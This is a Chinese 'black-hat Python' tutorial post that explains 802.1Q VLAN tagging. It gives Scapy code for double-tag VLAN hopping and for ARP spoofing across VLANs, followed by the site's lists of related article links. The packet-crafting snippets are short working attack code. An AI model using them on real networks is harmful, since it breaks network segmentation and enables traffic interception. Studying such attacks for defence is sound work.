Python黑帽编程 3.4 跨越VLAN详解


Posted in Python onSeptember 28, 2016

VLAN(Virtual Local Area Network),是基于以太网交互技术构建的虚拟网络,既可以将同一物理网络划分成多个VALN,也可以跨越物理网络障碍,将不同子网中的用户划到同一个VLAN中。图2是一个VLAN划分的例子。

Python黑帽编程 3.4 跨越VLAN详解

图2

实现VLAN的方式有很多种,基于交换设备的VLAN划分,一般有两种:

l 基于交换机的端口划分

l 基于IEEE 802.1q协议,扩展以太网帧格式

基于第二层的VLAN技术,有个Trunking的概念,Trunking是用来在不同的交换机之间进行连接,以保证在跨越多个交换机上建立的同一个VLAN的成员能够相互通讯。其中交换机之间互联用的端口就称为Trunk端口。除了80.2.1q之外,思科有自己的Trunk协议叫ISL。

Python黑帽编程 3.4 跨越VLAN详解

图3

图3是802.1q的数据包,和普通的以太网帧并没有本质的区别,只是增加一个了VLAN Tag。红色部分的VLAN Identifier标识了一个数据包属于哪个VLAN,从而保证了数据广播的范围不会跨越VLAN。

现在做简单的思考,想要跨越VLAN通信,是不是只要修改数据包中的标识符就可以了呢?

3.4.1 VLAN Hopping

基于上面的分析,我们考虑一个简单的场景:跨VLANping,从Vlan1的一个主机发送一个ping请求到Vlan2中的一个主机。

在具体编码前,我们还是要先解决VLAN数据包构造的问题,在Scapy中我们使用Dot1Q类来构造图3中的Tag部分。如图4。

Python黑帽编程 3.4 跨越VLAN详解

图4

下面我们可以编写一个跨VLAN的ping请求了。

#!/usr/bin/python 
from scapy.all import * 
packet = Ether(dst="c0:d3:de:ad:be:ef") / \
Dot1Q(vlan=1) / \
Dot1Q(vlan=2) / \
IP(dst="192.168.13.3") / \
ICMP() 
sendp(packet)

上面的代码我们指定了目标主机的MAC和IP地址,添加了两个VLAN标识,第一个是发送数据的主机所在的VLAN,第二个是目标主机所在的VLAN。交换机会移除第一个标识,读到第二个标识的时候,会转发该数据包到目标主机。

3.4.2 跨VLAN的ARP欺骗

3.1、3.2和3.3节我们都在讨论ARP欺骗的问题,由于VLAN限制了广播域,我们之前的代码是无法跨VLAN进行ARP欺骗的。不过要解决这个问题也很简单,只需在我们之前构造的ARP欺骗数据中插入VLAN标识即可。下面这段代码是我们在3.1节构造ARP请求数据包的代码。

def build_req():
if options.target is None:
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
elif options.target:
target_mac = getmacbyip(options.target)
if target_mac is None:
print "[-] Error: Could not resolve targets MAC address"
sys.exit(1)
pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
return pkt

在构造数据包的部分,我们插入VLAN标识:

pkt = Ether(src=mac, dst=target_mac) /Dot1Q(vlan=our_vlan) / Dot1Q(vlan=target_vlan) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)

这样就可以实现跨VLAN的ARP欺骗了。

3.4.3 小结

本节主要讲了如何构造欺骗VLAN的数据包,达到跨VLAN数据通信和ARP欺骗的目的。需要注意的是,本文的方法主要针对802.1Q协议,对以端口进行物理隔离的的VLAN没有效果。

以上所述是小编给大家介绍的Python黑帽编程 3.4 跨越VLAN详解,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!

Python 相关文章推荐
使用Python中的线程进行网络编程的入门教程
Apr 15 Python
python3爬虫之设计签名小程序
Jun 19 Python
对Python3+gdal 读取tiff格式数据的实例讲解
Dec 04 Python
Django框架实现的分页demo示例
May 25 Python
Python列表与元组的异同详解
Jul 02 Python
python调试神器PySnooper的使用
Jul 03 Python
关于win10在tensorflow的安装及在pycharm中运行步骤详解
Mar 16 Python
在Sublime Editor中配置Python环境的详细教程
May 03 Python
python能自学吗
Jun 18 Python
Python3 ffmpeg视频转换工具使用方法解析
Aug 10 Python
Python的3种运行方式:命令行窗口、Python解释器、IDLE的实现
Oct 10 Python
python中if和elif的区别介绍
Nov 07 Python
python 采集中文乱码问题的完美解决方法
Sep 27 #Python
20招让你的Python飞起来!
Sep 27 #Python
python搭建虚拟环境的步骤详解
Sep 27 #Python
利用python发送和接收邮件
Sep 27 #Python
实现python版本的按任意键继续/退出
Sep 26 #Python
Linux 下 Python 实现按任意键退出的实现方法
Sep 25 #Python
利用Python为iOS10生成图标和截屏
Sep 24 #Python
You might like
php抓取https的内容的代码
2010/04/06 PHP
Thinkphp批量更新数据的方法汇总
2016/06/29 PHP
Yii2.0表关联查询实例分析
2016/07/18 PHP
php 使用fopen函数创建、打开文件详解及实例代码
2016/09/24 PHP
thinkphp实现附件上传功能
2017/05/26 PHP
PHP的mysqli_stmt_init()函数讲解
2019/01/24 PHP
PHP dirname简单使用代码实例
2020/11/13 PHP
对象的类型:本地对象(1)
2006/12/29 Javascript
javascript 构建一个xmlhttp对象池合理创建和使用xmlhttp对象
2010/01/15 Javascript
js弹窗代码 可以指定弹出间隔
2010/07/03 Javascript
兼容IE和Firefox的javascript获取iframe文档内容的函数
2011/08/15 Javascript
node.js中的buffer.Buffer.byteLength方法使用说明
2014/12/10 Javascript
JS实现点击事件统计的简单实例
2016/07/10 Javascript
关于redux-saga中take使用方法详解
2018/02/27 Javascript
electron + vue项目实现打印小票功能及实现代码
2018/11/25 Javascript
微信小程序后台持续定位功能使用详解
2019/08/23 Javascript
一次微信小程序内地图的使用实战记录
2019/09/09 Javascript
通过实例了解Render Props回调地狱解决方案
2020/11/04 Javascript
[01:52]DOTA2完美大师赛Vega战队趣味视频——kpii老师小课堂
2017/11/25 DOTA
python爬虫使用cookie登录详解
2017/12/27 Python
python实现简易内存监控
2018/06/21 Python
python查询文件夹下excel的sheet名代码实例
2019/04/02 Python
Python3 sys.argv[ ]用法详解
2019/10/24 Python
Python如何计算语句执行时间
2019/11/22 Python
Flask和pyecharts实现动态数据可视化
2020/02/26 Python
基于K.image_data_format() == 'channels_first' 的理解
2020/06/29 Python
Hanro官网:奢华男士和女士内衣、睡衣和家居服
2018/10/25 全球购物
德国大型箱包和皮具商店:Koffer
2019/10/01 全球购物
介绍一下linux的文件权限
2012/02/15 面试题
请用Python写一个获取用户输入数字,并根据数字大小输出不同信息的脚本
2014/05/20 面试题
旷课检讨书2000字
2014/01/14 职场文书
五型班组建设方案
2014/02/10 职场文书
《泉水》教学反思
2014/04/11 职场文书
大学班级文化建设方案
2014/05/06 职场文书
五水共治捐款倡议书
2014/05/14 职场文书
预备党员考察意见范文
2015/06/01 职场文书